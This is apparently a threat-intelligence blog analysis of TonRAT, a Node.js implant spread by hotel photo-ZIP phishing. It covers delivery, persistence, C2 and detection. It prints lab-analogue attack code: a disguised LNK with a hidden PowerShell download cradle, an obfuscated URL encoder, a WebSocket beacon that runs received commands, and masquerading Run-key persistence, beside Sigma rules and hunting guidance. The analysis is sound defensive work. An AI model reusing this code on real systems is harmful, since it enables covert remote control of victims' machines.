Hotel Photo-ZIP Phishing: Anatomy of Microsoft’s Newly Disclosed Node.js Implant Targeting Hospitality Front Desks Across Europe and Asia
A front-desk clerk in Osaka opens an email from “Booking Manager (via Calendly)” about a bedbug complaint, clicks through, and downloads a file called photo-48217.zip. Inside is what looks like a guest’s photo. It is not. By the time the clerk double-clicks it, a signed Node.js runtime is sitting in their AppData folder pulling C2 domains off the TON blockchain. Microsoft disclosed this campaign on June 25, 2026, and it is one of the cleaner examples I have seen of an actor weaponizing legitimate, signed infrastructure end to end. Here is the full teardown.
What Microsoft Found, and Why It Matters
Microsoft Threat Intelligence published its writeup on June 25, 2026. SOC Prime and ITOCHU had documented the same hotel phishing and the LNK-to-PowerShell-to-Node.js chain about two weeks earlier, and Microsoft says its telemetry lines up with that reporting. SOC Prime named the implant TonRAT, after its use of The Open Network (TON) blockchain for command-and-control resolution. Microsoft did not assign a cluster name and has not attributed the activity to any known threat actor.
The campaign has been running since April 2026, hitting hospitality organizations across Europe and Asia. A second delivery wave appeared in late May. The targeting is deliberate: observed victim device names map to reception desks, front-office systems, and hotel-branded machines. This is not opportunistic spray-and-pray hitting random consumers. Someone wants access to the people who sit between guests and the property-management system.
| Fact | Detail |
|---|---|
| Implant | TonRAT (SOC Prime naming) |
| Attribution | Unattributed |
| Active since | April 2026; Wave 2 in late May |
| Disclosure | Microsoft Threat Intelligence, June 25, 2026 |
| Sectors | Hotels and hospitality across Europe and Asia |
| Lure languages | Japanese (most common), Danish, Dutch |
| Runtime abused | Node.js v24.13.0, signed, from nodejs.org |
| C2 resolution | TON blockchain API into WebSocket channels |
The thesis I want you to walk away with: every single stage of this chain leans on something legitimate. Calendly’s real sending infrastructure. Google’s redirect service. Cloudflare. A Microsoft-Authenticode-signed Node.js binary. A public blockchain API. The attacker brought almost nothing of their own to flag. That is the trend, and Node.js is now squarely part of it.
Why Hotel Front Desks Are a Structurally Soft Target
Before the mechanics, understand the strategy, because it explains the rest of the design.
A hotel front desk is a near-perfect target for an operator who wants high-value data behind low-maturity security. Three things stack up:
First, the data. The front-desk workstation is the operating console for the property-management system (PMS) – Opera, Cloudbeds, Mews, RoomKey, whatever the chain runs. That console touches guest names, contact details, travel dates, loyalty membership IDs, and payment records. In the EU, unauthorized access to exactly those categories is what triggers mandatory breach notification under GDPR, with penalties up to 4% of global annual revenue. The data is sensitive, it is concentrated, and it has a regulatory price tag attached.
Second, the people. Front-desk staff handle image and document attachments from guests all day. A “photo of the room” or a “complaint screenshot” is not unusual, it is the job. The lure does not have to be clever, it just has to look like Tuesday.
Third, the maturity gap. Front-office endpoints are notoriously under-managed. They are often shared logins, rarely have EDR tuned for the host, sit on flat networks with the PMS and payment terminals, and run whatever the franchisee’s IT vendor set up in 2019. That flat network is the lateral path. Compromise the reception PC and you are one hop from the system that holds 39 million reservations.
We have the receipts on how valuable this access is. The Otelier hotel-management platform breach disclosed in January 2025 exposed records tied to Marriott, Hilton, and Hyatt: 437,000 guest email addresses, 39 million reservation records, and 7.8 terabytes pulled from cloud storage. BWH Hotels (Best Western, over 4,000 properties in 100-plus countries) disclosed in May 2026 that attackers had been inside its guest reservation system from October 14, 2025 through April 22, 2026. Six months of quiet access to guest names, contact details, and reservations.
Booking-themed phishing against hotel staff is a recurring genre. There were ClickFix campaigns dropping PureRAT to steal Booking.com logins. TonRAT is the same hunting ground with better tradecraft.
Authentication Laundering: Beating SPF, DKIM, and DMARC Without Spoofing
Microsoft coined a clean term for the delivery technique: authentication laundering. It is the part of this campaign worth tattooing on your mail team’s whiteboard, because it breaks the assumption most gateways still run on.
The emails are not spoofed. They are genuinely sent from a real Calendly account the actor registered, through the subdomain em1618.calendly.com, which rides Calendly’s SendGrid sending infrastructure. Run the authentication checks and every one of them passes for the right reasons:
- SPF passes because the message is genuinely sent from Calendly’s authorized servers.
- DKIM passes because SendGrid applies a valid cryptographic signature.
- DMARC passes because the
calendly.comdomain aligns correctly.
The composite authentication result is clean. At the filtering layer, this message is indistinguishable from a legitimate Calendly notification, because in the eyes of SPF/DKIM/DMARC it is one. The attacker laundered their malicious intent through a trusted sender’s reputation. Your gateway is checking “did Calendly really send this,” not “is what Calendly sent malicious.”
From there the user gets walked through a four-hop redirect chain designed to shed any analysis tooling along the way:
- A Calendly redirect URL embedded in the email.
- Google’s
share.googleredirect service. - A Cloudflare-hosted domain in the
.cfdTLD. - A Cloudflare Turnstile human-verification challenge that blocks automated sandboxes and crawlers.
Pass the Turnstile challenge and the browser downloads photo-<random numbers>.zip. The Turnstile gate is the same trick everyone is using now: it filters out your detonation sandbox while a real clerk sails through.
The display name is “Booking Manager (via Calendly).” The lures reference guest complaints, bedbug infestations, room inquiries, health inspections, and stay reviews. No recipient or property is named in the subject line, which tells you this is high-volume, list-driven sending, not tailored spear phishing. They are casting wide and letting the hospitality theme do the targeting.

The LNK Dropper: A Fake PNG That Runs PowerShell
Inside the ZIP is a shortcut wearing a photo’s clothes. Wave 1 used IMG-<numbers>.png.lnk, Wave 2 used PHOTO-<numbers>.png.lnk. The double extension is the whole trick. Windows hides known file extensions by default, so IMG-48217.png.lnk renders in Explorer as IMG-48217.png, complete with an image icon the LNK can set via IconLocation. The clerk sees a picture. They double-click a launcher.
Here is how that artifact is built. This is a lab analogue, not the campaign’s binary, but it produces the same on-disk and telemetry shape:
# Lab: build a fake IMG-<n>.png.lnk that launches PowerShell
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$env:TEMP\IMG-48217.png.lnk")
$shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$shortcut.Arguments = '-NoP -W Hidden -Exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString(''http://127.0.0.1:8888/stage1.ps1'')"'
$shortcut.IconLocation = "C:\Windows\System32\imageres.dll,67" # generic image icon
$shortcut.Save()
Compress-Archive -Path "$env:TEMP\IMG-48217.png.lnk" `
-DestinationPath "$env:TEMP\photo-99999.zip"
When the LNK fires, PowerShell launches hidden (-W Hidden) and pulls down the next stage. That stage is where the first real anti-analysis trick lives.
The BigInt URL Decode
The PowerShell stage does not carry a plaintext download URL. It uses BigInt arithmetic to reconstruct one at runtime. The technique is simple and effective against naive signature matching: take the URL string, read it as a big-endian hex integer, store that as a single enormous decimal number, then reverse the math to recover the string. No URL substring ever appears in the script body, so AV signatures keyed on http:// or known C2 hostnames find nothing.
You can demonstrate the entire thing in a Node REPL:
// Encode side (attacker, offline)
const url = "http://127.0.0.1:8888/implant.js";
const encoded = BigInt("0x" + Buffer.from(url).toString("hex")).toString(10);
console.log("Encoded:", encoded); // one giant decimal number, no URL visible
// Decode side (what the dropper runs at execution time)
const decoded = Buffer.from(BigInt(encoded).toString(16), "hex").toString("utf8");
console.log("Decoded URL:", decoded); // http://127.0.0.1:8888/implant.js
The good news for defenders is that PowerShell Script Block Logging (Event ID 4104) sees through this entirely. The deobfuscation happens in the script engine, so the log captures the BigInt or [System.Numerics.BigInteger] operation and frequently the reconstructed string. Obfuscation that survives static AV often dies instantly under behavioral logging, which is the running theme of detecting this whole campaign.
Staging the Runtime: Node.js Dropped Into User Space
This is the elegant part. The PowerShell stage pulls a .ps1 to %TEMP%, then downloads a legitimate Node.js v24.13.0 runtime directly from nodejs.org into AppData\Local\Nodejs\. The implant’s .js files land in the same directory. No system-wide install. No elevation. AppData is user-writable, so the entire foothold is established at the privilege level of whoever opened the email.
# stage1.ps1 analogue: stage the runtime with no elevation required
$nodePath = "$env:LOCALAPPDATA\Nodejs"
New-Item -ItemType Directory -Force -Path $nodePath | Out-Null
# Campaign: Invoke-WebRequest -Uri "https://nodejs.org/dist/v24.13.0/node.exe" -OutFile "$nodePath\node.exe"
Invoke-WebRequest -Uri "http://127.0.0.1:8888/implant.js" -OutFile "$nodePath\implant.js"
$ps1 = "$env:TEMP\update_$(Get-Random).ps1"
"& '$nodePath\node.exe' '$nodePath\implant.js'" | Out-File $ps1
Why bother dropping a whole runtime? Because node.exe is a Microsoft-Authenticode-signed binary from a known, reputable vendor. AV and EDR products that allowlist signed binaries from trusted publishers wave it straight through. The malicious logic never lives in a PE the AV can statically analyze – it lives in interpreted .js files that get JIT-compiled at runtime. You have a fully legitimate, signed executable running attacker code that exists only as script. That is the same evasion logic behind Electron app abuse, and it maps cleanly to ATT&CK T1059.007 (Command and Scripting Interpreter: JavaScript): abuse a widely supported scripting engine so the activity blends into normal application behavior.
TonRAT Deep Dive: TON Blockchain C2 and WebSocket Comms
The implant earns its name here. Instead of hard-coding C2 domains or IPs that you could pull from strings and blocklist at the DNS or firewall layer, TonRAT resolves its C2 domains through the TON (The Open Network) blockchain API, then opens an encrypted WebSocket channel to whatever it gets back.
Think about what that defeats. Static IOC blocklists become near-useless, because the operator can rotate the destination by updating a value on-chain, and the implant fetches the current one at runtime. There is no fixed FQDN baked into the binary to seize or sinkhole. The blockchain lookup itself looks like ordinary HTTPS to a public API. This is dead-drop resolution (ATT&CK T1102, Web Service) implemented on infrastructure that is censorship-resistant by design.
Once it has a destination, it beacons over WebSocket on a spread of non-standard ports. The confirmed set:
| Ports observed | Notes |
|---|---|
| 8443, 8445, 8453 | TLS-adjacent high ports, blend with legitimate app traffic |
| 5555 | Common debug/ADB-style port |
| 56001, 56002, 56003 | High ephemeral-range, easy to miss |
Any of those initiated by node.exe (or by an executable running out of a user-profile or temp path) deserves an immediate look. A WebSocket beacon from a scripting runtime is the network signature here, and a default beacon interval in the tens of seconds is typical for this kind of implant.
// TonRAT-analogue beacon loop (lab: all traffic to localhost)
const WebSocket = require("ws");
function beacon() {
const ws = new WebSocket("ws://127.0.0.1:8443"); // campaign: resolved via TON, wss://
ws.on("open", () =>
ws.send(JSON.stringify({ host: require("os").hostname(), platform: process.platform }))
);
ws.on("message", cmd => {
try { ws.send(require("child_process").execSync(cmd.toString(), { encoding: "utf8", timeout: 5000 })); }
catch (e) { ws.send(e.message); }
});
}
setInterval(beacon, 30000);
beacon();
Early in the session the implant runs a geolocation check against ip-api.com. That tells the operator where the box physically sits, useful for filtering out sandboxes and for prioritizing victims by region.

Dual Registry Persistence: Why Pulling One Key Is Not Enough
TonRAT establishes dual persistence across two separate run keys, and this matters operationally because it traps incomplete remediation. The confirmed paths:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run– a value invokingnode.exe <implant.js>out ofAppData\Local\Nodejs\.HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce– a value pointing into aProgramData\<randomname>\stager.
# Lab: write both persistence paths (campaign analogue)
$nodePath = "$env:LOCALAPPDATA\Nodejs"
$implantJs = "$nodePath\implant.js"
$stagerPs1 = "$env:ProgramData\svchost_$(Get-Random).ps1"
"& '$nodePath\node.exe' '$implantJs'" | Out-File $stagerPs1
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" `
-Name "WindowsDefenderUpdate" `
-Value "powershell.exe -NoP -W Hidden -F `"$stagerPs1`""
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "NodejsHelper" `
-Value "`"$nodePath\node.exe`" `"$implantJs`""
Full remediation has to hit both paths plus the runtime and .js files under AppData\Local\Nodejs, and the ProgramData stager. Pull only the Run key and the RunOnce/ProgramData arm survives the next reboot and re-establishes. I have watched teams “clean” a box, declare victory, and find the same beacon three days later because they killed one of two keys. Treat dual persistence as a checklist, not a search-and-destroy. This is ATT&CK T1547.001 (Registry Run Keys / Startup Folder), doubled up for redundancy.

Post-Exploitation: Headless Browsers, On-Device Compilation, and Forced Shutdowns
Once it has hands-on-keyboard reach, the operator has been observed doing several distinct things.
Headless browser automation. Some hosts spawn Chrome with --headless --no-sandbox from the node.exe parent. Two plausible purposes: blending C2 callbacks into legitimate-looking browser traffic, and automating credential theft against the PMS web portal the front desk logs into. A scripted headless browser can scrape a login DOM, replay credentials, and pull session tokens without anyone watching the screen seeing a window pop.
On-device PE compilation. Microsoft observed the compilation of portable executable payloads on the compromised host. The strong read is csc.exe (the Roslyn C# compiler) or PowerShell’s Add-Type, both of which invoke .NET compilation in-process. Compiling on the victim means the second-stage PE never traverses the network or touches disk as a flagged download, defeating static detection that keys on known malicious binaries. The hunt pivot is unmistakable: a csc.exe child process spawned from powershell.exe or node.exe on a front-desk machine has no business existing.
Forced shutdown. Hosts have been hit with cmd /c shutdown -s -t 0. The operational purpose is most likely anti-forensics and disruption: knock the box offline to interrupt analysis, clear volatile memory, and frustrate a responder who logs in to find the machine simply powered down. It is a blunt but effective way to burn evidence on the way out.
// Post-exploitation behaviors observed (lab analogues, localhost targets)
const { execSync, spawn } = require("child_process");
// Headless browser against mock PMS login
spawn("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe",
["--headless", "--no-sandbox", "--dump-dom", "http://127.0.0.1:8080/pms-login"],
{ detached: true, stdio: "ignore" }).unref();
// Forced shutdown (campaign uses: cmd /c shutdown -s -t 0)
// In lab, write a marker instead of shutting down the analysis VM.
Defender Exclusion Tampering and the Anti-Analysis Stack
TonRAT modifies Microsoft Defender’s exclusion list to hide its directory and any randomly named executables from real-time scanning, almost certainly via Add-MpPreference -ExclusionPath. That call from a script context, especially launched by node.exe, is a high-fidelity signal in its own right (ATT&CK T1562.001, Impair Defenses: Disable or Modify Tools).
Stack the full anti-analysis kit and you see a coherent design:
| Layer | Technique | What it defeats |
|---|---|---|
| Delivery | Authentication laundering via Calendly | SPF/DKIM/DMARC gateway checks |
| Delivery | Cloudflare Turnstile gate | Automated sandboxes and crawlers |
| Dropper | BigInt URL encoding | Static AV string signatures |
| Runtime | Signed node.exe from nodejs.org | Publisher allowlisting, PE static analysis |
| Payload | JS-only logic, on-device PE compile | Static binary detection |
| C2 | TON blockchain resolution | DNS/IP blocklists, sinkholing |
| Host | Defender exclusion tampering | Real-time AV scanning |
Each layer targets a different defensive control. None of them is novel on its own. The competence is in the assembly.
Node.js as an Abuse Platform: This Is a Trend, Not a One-Off
I want to be blunt about the bigger picture, because TonRAT is a symptom. Adversaries have figured out that a signed, reputable scripting runtime is a near-ideal payload vehicle. The runtime is allowlisted. The payload is interpreted, so there is no PE to statically analyze until the actor chooses to compile one locally. The behavior blends with the enormous installed base of legitimate Node and Electron apps – Slack, Discord, VS Code, Teams, and half the desktop software shipped in the last five years all run Node under the hood. We have already seen this energy in the npm supply-chain attacks and in malware shipped inside trojanized Electron apps. TonRAT just brings it to a targeted intrusion with a clean delivery front end.
The defensive implication is uncomfortable: “is this binary signed and reputable” is no longer a sufficient question. You have to ask what the signed binary is doing, where it is running from, and what it is talking to. Provenance and behavior, not signature alone.

Detection and Defense
Microsoft’s June 25 guidance and the IOC set give you a solid behavioral net. The core idea: a legitimate runtime in the wrong place doing the wrong things. Official Node installs live in C:\Program Files\nodejs\. A node.exe running out of AppData\Local\Nodejs or %TEMP% is your starting flag.
Sysmon and Windows Event hunts
| Event ID | Source | Hunt for |
|---|---|---|
| 1 (ProcessCreate) | Sysmon | node.exe image path in AppData\Local\Nodejs or %TEMP%; node.exe parent is powershell.exe/wscript.exe/mshta.exe/explorer.exe; chrome.exe --headless --no-sandbox, shutdown.exe, csc.exe, or Add-MpPreference spawned by node.exe |
| 3 (NetworkConnect) | Sysmon | node.exe outbound to 8443, 8445, 8453, 5555, 56001-56003 |
| 11 (FileCreate) | Sysmon | *.png.lnk written to user dirs; node.exe and .js files written to AppData\Local\Nodejs |
| 13 (RegistryValueSet) | Sysmon | Run/RunOnce values set by powershell.exe pointing at node.exe or AppData\Local\Nodejs |
| 22 (DNSQuery) | Sysmon | node.exe querying .cfd TLD domains or ip-api.com |
| 4104 | PowerShell/Operational | Script block logs containing BigInt, [System.Numerics.BigInteger], Add-MpPreference -ExclusionPath, -W Hidden download cradles |
| 4657 / 4698 | Security | Run-key modification; scheduled-task creation if the actor pivots persistence |
A practical Sigma starting point
title: Node.js Runtime Executing from User AppData (TonRAT)
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection:
Image|contains:
- '\AppData\Local\Nodejs\node.exe'
- '\AppData\Roaming\node.exe'
- '\Temp\node.exe'
condition: selection
falsepositives:
- Developers running local Node projects (official installs go to C:\Program Files\nodejs)
level: high
tags:
- attack.execution
- attack.t1059.007
title: Suspicious Child Process Spawned by node.exe
logsource:
category: process_creation
product: windows
detection:
selection:
ParentImage|endswith: '\node.exe'
Image|endswith:
- '\powershell.exe'
- '\cmd.exe'
- '\shutdown.exe'
- '\csc.exe'
- '\chrome.exe'
condition: selection
level: high
tags:
- attack.t1059.007
- attack.t1562.001
Network and mail layer
Block or alert on .cfd domains matching photo-<digits>[.]cfd, and monitor DNS for queries to recently registered .cfd domains. On the mail side, authentication laundering means you cannot trust SPF/DKIM/DMARC pass alone. Add content inspection on Calendly-origin mail, scrutinize redirect chains that bounce through share.google into newly registered TLDs, and detonate the final download in an environment that can clear Turnstile.
ATT&CK mapping
| Tactic | Technique |
|---|---|
| Initial Access | T1566.002 Phishing: Spearphishing Link |
| Execution | T1059.001 PowerShell, T1059.007 JavaScript, T1204.002 Malicious File |
| Defense Evasion | T1027 Obfuscated Files (BigInt), T1036.007 Double Extension, T1562.001 Impair Defenses, T1027.004 Compile After Delivery |
| Persistence | T1547.001 Registry Run Keys |
| Command and Control | T1102 Web Service (TON), T1571 Non-Standard Port |
| Impact | T1529 System Shutdown/Reboot |
Hardening hotel environments
Lock node.exe execution to approved paths with AppLocker or WDAC so a runtime in AppData simply cannot run. Audit the Run and RunOnce keys continuously. Segment the PMS and payment terminals off the front-desk LAN so a reception-PC compromise is not a free hop to the reservation database. And get every front-office endpoint under real EDR with the behavioral hunts above wired in, because the franchisee’s 2019 antivirus is going to allowlist that signed Node binary every single time.
Key Takeaways
- Authentication laundering breaks the “auth passed, so it’s safe” assumption. Real Calendly sending infrastructure means SPF, DKIM, and DMARC all pass legitimately. Inspect content and redirect chains, not just authentication verdicts.
- A signed binary in the wrong directory is the whole detection. Official Node lives in
Program Files.node.exerunning fromAppData\Local\Nodejsor%TEMP%is the single highest-value flag in this chain. - TON blockchain C2 kills your static blocklists. Pivot to behavior:
node.exeopening WebSockets on 8443/8445/8453/5555/56001-56003, queryingip-api.com, or spawningcsc.exe,shutdown.exe, and headless Chrome. - Dual persistence demands dual remediation. Kill the
Runkey, theRunOnce/ProgramDatastager, and the files underAppData\Local\Nodejs, or the implant comes back after reboot. - Hotel front desks are a strategic target, not a random one. Guest PII, payment data, a flat path to the PMS, and weak endpoint maturity make reception the cheapest way into very expensive data. Segment the network and put real EDR on the front office.
- Node.js and Electron abuse is the direction of travel. Signed-runtime-plus-interpreted-payload defeats publisher allowlisting and static analysis by design. Judge what the binary does, not just who signed it.